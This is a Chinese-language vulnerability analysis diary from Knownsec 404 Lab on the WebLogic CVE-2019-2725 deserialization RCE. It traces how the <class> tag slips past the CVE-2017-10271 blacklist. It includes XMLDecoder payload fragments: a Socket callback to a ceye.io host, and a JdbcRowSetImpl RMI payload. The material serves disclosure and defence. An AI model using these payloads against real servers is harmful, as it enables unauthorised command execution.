作者：Badcode@知道創宇404實驗室
時間：2019年4月30日
English version: http://www.bjnorthway.com/910/
417
2019年4月17日，CNVD 發布《關于Oracle WebLogic wls9-async組件存在反序列化遠程命令執行漏洞的安全公告》，公告指出部分版本WebLogic中默認包含的wls9_async_response包，為WebLogic Server提供異步通訊服務。由于該WAR包在反序列化處理輸入信息時存在缺陷，攻擊者可以發送精心構造的惡意 HTTP 請求，獲得目標服務器的權限，在未授權的情況下遠程執行命令。
418
2019年4月18日，開始應急。因為這個漏洞當時屬于0day，也沒有補丁可以參考，只能參考公告內容一步一步來看了。首先看到公告里提到的wls9_async_response.war包，看下web.xml里的url。
看到/AsyncResponseService，嘗試訪問一下，404。之后看到weblogic.xml和weblogic-webservices.xml
訪問下_async/AsyncResponseService
可以正常訪問，再結合公告中的漏洞處置建議，禁止 /_async/* 路徑的URL訪問，可以大概率猜測，漏洞入口在這里。
在weblogic-webservices.xml中有一個類，weblogic.wsee.async.AsyncResponseBean，跟進去這個類，發現在wseeclient.jar里面
而后我在這個類里面的方法下斷點，然后構造一個普通的SOAP消息，發送。
斷點沒有debug到。最后我把wsee/async所有類的所有方法都下了斷點，重新發送消息，成功在AsyncResponseHandler類中的handleRequest攔截到了。
繼續流程，String var2 = (String)var1.getProperty("weblogic.wsee.addressing.RelatesTo");這個步驟一直取不到值，導致流程結束。為了解決這個問題，翻了不少資料，最后找到一個類似的例子，可以使用<ads:RelatesTo>test</ads:RelatesTo>為weblogic.wsee.addressing.RelatesTo賦值。
<?xml version="1.0" encoding="UTF-8" ?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ads="http://www.w3.org/2005/08/addressing">
<soapenv:Header>
<ads:Action>demo</ads:Action>
<ads:RelatesTo>test</ads:RelatesTo>
</soapenv:Header>
<soapenv:Body></soapenv:Body>
</soapenv:Envelope>
之后流程就能夠繼續下去了，我一直以為漏洞的關鍵點在這里，因為這個wsee.async下面的幾個類中有readObject方法，我一直嘗試著通過AsyncResponseHandler跳到readObject方法，而后就卡在這里，后面的流程就不寫了，對這個漏洞來說是錯的，上面寫的這些猜測和流程都是正確的。
419
2019年4月19日，和我一起應急的師傅給我發了一張截圖。
看到這截圖里面的RelatesTo，我還以為之前的推測沒有錯，只是沒有構造好。
全局搜索UnitOfWorkChangeSet這個類，之后在這個類中下斷點。
根據截圖，構造一個類似的，然后發送
在這個類中debug到了。
看到了日思夜想的readObject，有了反序列的點，自然要找利用鏈了，目前 WebLogic 下面 commoncollections 相關的利用鏈已經是無法使用了，WebLoigc 依賴的common-collections版本已經升級了，先找個Jdk7u21測試一下，將生成的 payload 轉換成 byte，發送。
可以看到，成功地執行了命令。但是這個利用鏈限制太大了，基本沒啥用。我想起去年應急過的一個WebLogic 反序列漏洞，CVE-2018-3191，既然jdk7u21都不受黑名單限制，想來CVE-2018-3191也是一樣可以利用的。
猜測沒有錯誤，CVE-2018-3191也是能夠利用的，這個漏洞也終于有點"危害"了。和 pyn3rd 師傅討論一下有沒有其他利用鏈，仔細翻下黑名單，除了CVE-2018-3191，就只有新的jython利用鏈(CVE-2019-2645)了，由 Matthias Kaiser大佬提交的，但是目前這個還有沒有公開，所以這個利用鏈也沒法使用。
有了正確答案，就可以看下之前的猜測哪里出了問題。
回到AsyncResponseHandler類中的handleRequest，handleRequest的上一步，HandlerIterator類中的handleRequest方法
public boolean handleRequest(MessageContext var1, int var2) {
this.closureEnabled = false;
this.status = 1;
WlMessageContext var3 = WlMessageContext.narrow(var1);
if (verboseHistory) {
updateHandlerHistory("...REQUEST...", var3);
}
for(this.index = var2; this.index < this.handlers.size(); ++this.index) {
Handler var4 = this.handlers.get(this.index);
if (verbose) {
Verbose.log("Processing " + var4.getClass().getSimpleName() + "... ");
}
if (verboseHistory) {
updateHandlerHistory(var4.getClass().getSimpleName(), var3);
}
HandlerStats var5 = this.handlers.getStats(this.index);
try {
var3.setProperty("weblogic.wsee.handler.index", new Integer(this.index));
String var6;
if (!var4.handleRequest(var3)) {
if (verboseHistory) {
var6 = var4.getClass().getSimpleName() + ".handleRequest=false";
updateHandlerHistory(var6, var3);
}
if (var5 != null) {
var5.reportRequestTermination();
}
return false;
}會遍歷this.handlers，然后調用每個handler的handleRequest去處理用戶傳入的SOAP Message。
可以看到，AsyncResponseHandler僅僅只是21個handler之中的一個，而weblogic.wsee.addressing.RelatesTo的賦值就是在ServerAddressingHandler中完成的，有興趣的可以去跟一下。這里面有一個非常重要的handler--WorkAreaServerHandler，看名字可能覺得眼熟，看到里面的handleRequest方法可能就不淡定了。
之后的流程就和CVE-2017-10271是一樣的了，關于這個漏洞的分析可以參考廖師傅的文章。
跟到這里就可以看出來了，這個url只是CVE-2017-10271漏洞的另外一個入口而已。這也是后期導致假PoC泛濫的一個原因。整個流程大概如下：
那么問題來了，這個PoC是如何繞過CVE-2017-10271的黑名單的呢？
首先來看一下CVE-2017-10271的補丁，會將傳入的數據先調用validate校驗，通過之后才交給XMLDecoder。
public WorkContextXmlInputAdapter(InputStream var1) {
ByteArrayOutputStream var2 = new ByteArrayOutputStream();
try {
boolean var3 = false;
for(int var5 = var1.read(); var5 != -1; var5 = var1.read()) {
var2.write(var5);
}
} catch (Exception var4) {
throw new IllegalStateException("Failed to get data from input stream", var4);
}
this.validate(new ByteArrayInputStream(var2.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(var2.toByteArray()));
}
private void validate(InputStream var1) {
WebLogicSAXParserFactory var2 = new WebLogicSAXParserFactory();
try {
SAXParser var3 = var2.newSAXParser();
var3.parse(var1, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String var1, String var2, String var3, Attributes var4) throws SAXException {
if (var3.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if (var3.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if (var3.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if (var3.equalsIgnoreCase("void")) {
for(int var5 = 0; var5 < var4.getLength(); ++var5) {
if (!"index".equalsIgnoreCase(var4.getQName(var5))) {
throw new IllegalStateException("Invalid attribute for element void:" + var4.getQName(var5));
}
}
}
if (var3.equalsIgnoreCase("array")) {
String var9 = var4.getValue("class");
if (var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
String var6 = var4.getValue("length");
if (var6 != null) {
try {
int var7 = Integer.valueOf(var6);
if (var7 >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
throw new IllegalStateException("Exceed array length limitation");
}
this.overallarraylength += var7;
if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
throw new IllegalStateException("Exceed over all array limitation.");
}
} catch (NumberFormatException var8) {
;
}可以看到，object，new，method這些標簽都被攔截了，遇到直接拋出錯誤。void標簽后面只能跟index，array標簽后面可以跟class屬性，但是類型只能是byte類型的。其中，過濾object標簽是CVE-2017-3506的補丁，剩下的過濾是針對CVE-2017-10271的補丁。
如果仔細看了黑名單的，就不難發現，外面流傳的很多PoC都是假的，就是新url入口+老的payload，這樣的組合是沒有辦法繞過這個黑名單的。
繞過這個黑名單的關鍵是class標簽，可以從官方的文檔來了解一下這個標簽。
class標簽可以表示一個類的實例，也就是說可以使用class標簽來創建任意類的實例。而class標簽又不在WebLogic 的黑名單之內，這才是這個漏洞最根本的原因。4月26日，Oracle 發布這個漏洞的補丁，過濾了class標簽也證實了這點。
既然漏洞的原因是繞過了CVE-2017-10271的黑名單，那么wls-wsat.war也是應該受影響的。
測試一下，沒有問題。
這說明，CNVD的公告寫的影響組件不全，漏洞處置建議也寫的不全面，要通過訪問策略控制禁止 /_async/* 及 /wls-wsat/* 路徑的URL訪問才行，之后我們也同步給了CNVD，CNVD發了第二次通告。
421
2019年4月21日，準備構造出這個漏洞的檢測PoC，能夠使用class標簽來創建類的實例，我首先考慮的是構造java.net.Socket，這也引出了一個JDK版本的坑。我測試的是jdk6，參考之前的PoC，可以這么構造
<java>
<class>
<string>java.net.Socket</string>
<void>
<string>aaaaabbbbbbbbbbb.wfanwb.ceye.io</string>
<int>80</int>
</void>
</class>
</java>ceye成功接收到請求，也說明Socket實例創建成功了。
我把上面的檢測PoC在 jdk 7上測試，竟然失敗了，一直爆找不到java.net.Socket這個類錯誤，讓我一度以為這個漏洞只能在 jdk 6 下面觸發，后來仔細對比，發現是換行符的問題，也就是這樣寫才對。
<java><class><string>java.net.Socket</string><void><string>aaaaabbbbbbbbbbb.wfanwb.ceye.io</string><int>80</int></void></class></java>不帶換行符的在6和7下面都能生成實例。其實這個問題在最早測試 CVE-2018-3191 payload的時候就已經發生過，pyn3rd師傅問我xml payload是怎么生成的，我說用的拼接，直接System.out.println輸出的，都帶了換行符，我因為當時跑weblogic的jdk是jdk6，所以沒有問題，但是 pyn3rd 師傅的環境是 jdk7 的，沒測試成功，只覺得是PoC寫法不同造成的問題，后來師傅自己解決了，這里也沒溝通，埋下了一個大坑，導致我后面踩進去了。
422
2019年4月22日，pyn3rd 師傅測試 WebLogic 12.1.3沒成功，發現是12的版本沒有oracle.toplink.internal.sessions.UnitOfWorkChangeSet這個類，所以沒辦法利用。嘗試著構造新的exp，目前的情況是，能夠創建類的實例，但是調用不了方法。自然想起com.sun.rowset.JdbcRowSetImpl這個類。
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="com.sun.rowset.JdbcRowSetImpl">
<void property="dataSourceName">
<string>rmi://localhost:1099/Exploit</string>
</void>
<void property="autoCommit">
<boolean>true</boolean>
</void>
</void>
</java>這個是CVE-2017-10271的一種觸發方法。之前的黑名單提過，void標簽后面只能跟index，所以上面這個payload肯定會被黑名單攔截。嘗試使用class標簽重寫上面的payload。
構造的過程中，在跟底層代碼的時候，發現 jdk 6和 jdk 7處理標簽的方式不同。
jdk 6使用的是com.sun.beans.ObjectHandler
能用的有string，class，null，void，array，java，object和一些基本類型標簽(如int)。
jdk7 使用的是com.sun.beans.decoder.DocumentHandler
可以看到，和jdk6差異不小，例如，jdk 6不支持new，property等標簽。
我在用jdk 6 的標簽構造的時候，一直沒構造成功，直到我看到jdk 7 的源碼里面的property，這不就是我想要的么，而且這個標簽還不在 WebLogic 的黑名單內。所以重寫上面的payload如下
可以看到，沒有觸發黑名單，成功的執行了命令，而且沒有依賴 WebLogic 內部的包，10.3.6和12.1.3都可以通用。遺憾的是，這個payload的打不了 jdk 6的，因為 jdk 6 不支持 property標簽。期望有大佬能寫出6也能用的。
423
2019年4月23日，在CNVD發出通告，各大安全公司發出漏洞預警之后，之前提過的新url+老payload的這種模式的PoC和exp紛紛出爐。不僅是國內，國外也很熱鬧，很多人表示測試成功，但是都是在無補丁的情況下測試的。Oracle 官網下載的 WebLogic 都是沒有安裝補丁的，Oracle的補丁是單獨收費的，如果安裝了 CVE-2017-10271 的補丁，這些PoC和exp都是沒有辦法觸發的，繞過不了黑名單。
426
2019年4月26日，Oracle 官方發布緊急補丁，并為該漏洞分配編號CVE-2019-2725。
427
2019年4月27日，pyn3rd 師傅說12.1.3版本的exp也有人弄出來了，用的是org.slf4j.ext.EventData
public EventData(String xml) {
ByteArrayInputStream bais = new ByteArrayInputStream(xml.getBytes());
try {
XMLDecoder decoder = new XMLDecoder(bais);
this.eventData = (Map)decoder.readObject();
} catch (Exception var4) {
throw new EventException("Error decoding " + xml, var4);
}
}看下這個類的構造方法，直接將傳入的xml交給XMLdecoder處理，太粗暴了...
相當于經過了兩次XMLdecode，所以外層用<class>繞過，內層直接標記為純文本，繞過第一次過濾，第二次 XMLdecode不經過WebLogic 黑名單，直接被JDK解析反序列化執行。
這種exp也是最完美的，沒有jdk版本限制，不需要外連，可惜的是只能打12.1.3版本。
430
2019年4月30日，在其他大佬手中看到了這個漏洞的其他利用方式，沒有 weblogic和 jdk的版本限制，比上面的幾種利用方式都更完善。這種利用方式我之前也看到過，就是Tenable 發的演示視頻，當時沒想明白，看了大佬的利用方式之后，才明白自己忽略了什么。構造方式可以參考CVE-2017-17485，我之前構造exp的時候也沒有往這方面想，這或許就是黑哥說的積累不夠吧。
總結
- 針對這次漏洞，Oracle 也是打破了常規更新，在漏洞預警后不久就發布了補丁，仍然是使用黑名單的方式修復。(吐槽一下，這么修復，這個功能還能用么？)
- 此次的漏洞事件中，也看到了安全圈的亂象，漏洞都沒有經過完全的驗證，就直接發錯誤的分析文章和假PoC，誤導大眾。
- 在這個漏洞應急的過程中，從無到有，從缺到圓，踩了很多坑，也學習到了很多姿勢，也看到了自己和大佬的差距。最后感謝漏洞應急過程中幾位師傅的交流和指點。
參考鏈接
- 關于Oracle WebLogic wls9-async組件存在反序列化遠程命令執行漏洞的安全公告
- Weblogic XMLDecoder RCE分析
- Oracle Security Alert Advisory - CVE-2019-2725
- [KnownSec 404 Team] Oracle WebLogic Deserialization RCE Vulnerability (0day) Alert
- WebLogic Unauthenticated Remote Code Execution Vulnerability (CVE-2019-2725) with Pocsuite3
本文由 Seebug Paper 發布，如需轉載請注明來源。本文地址：http://www.bjnorthway.com/909/
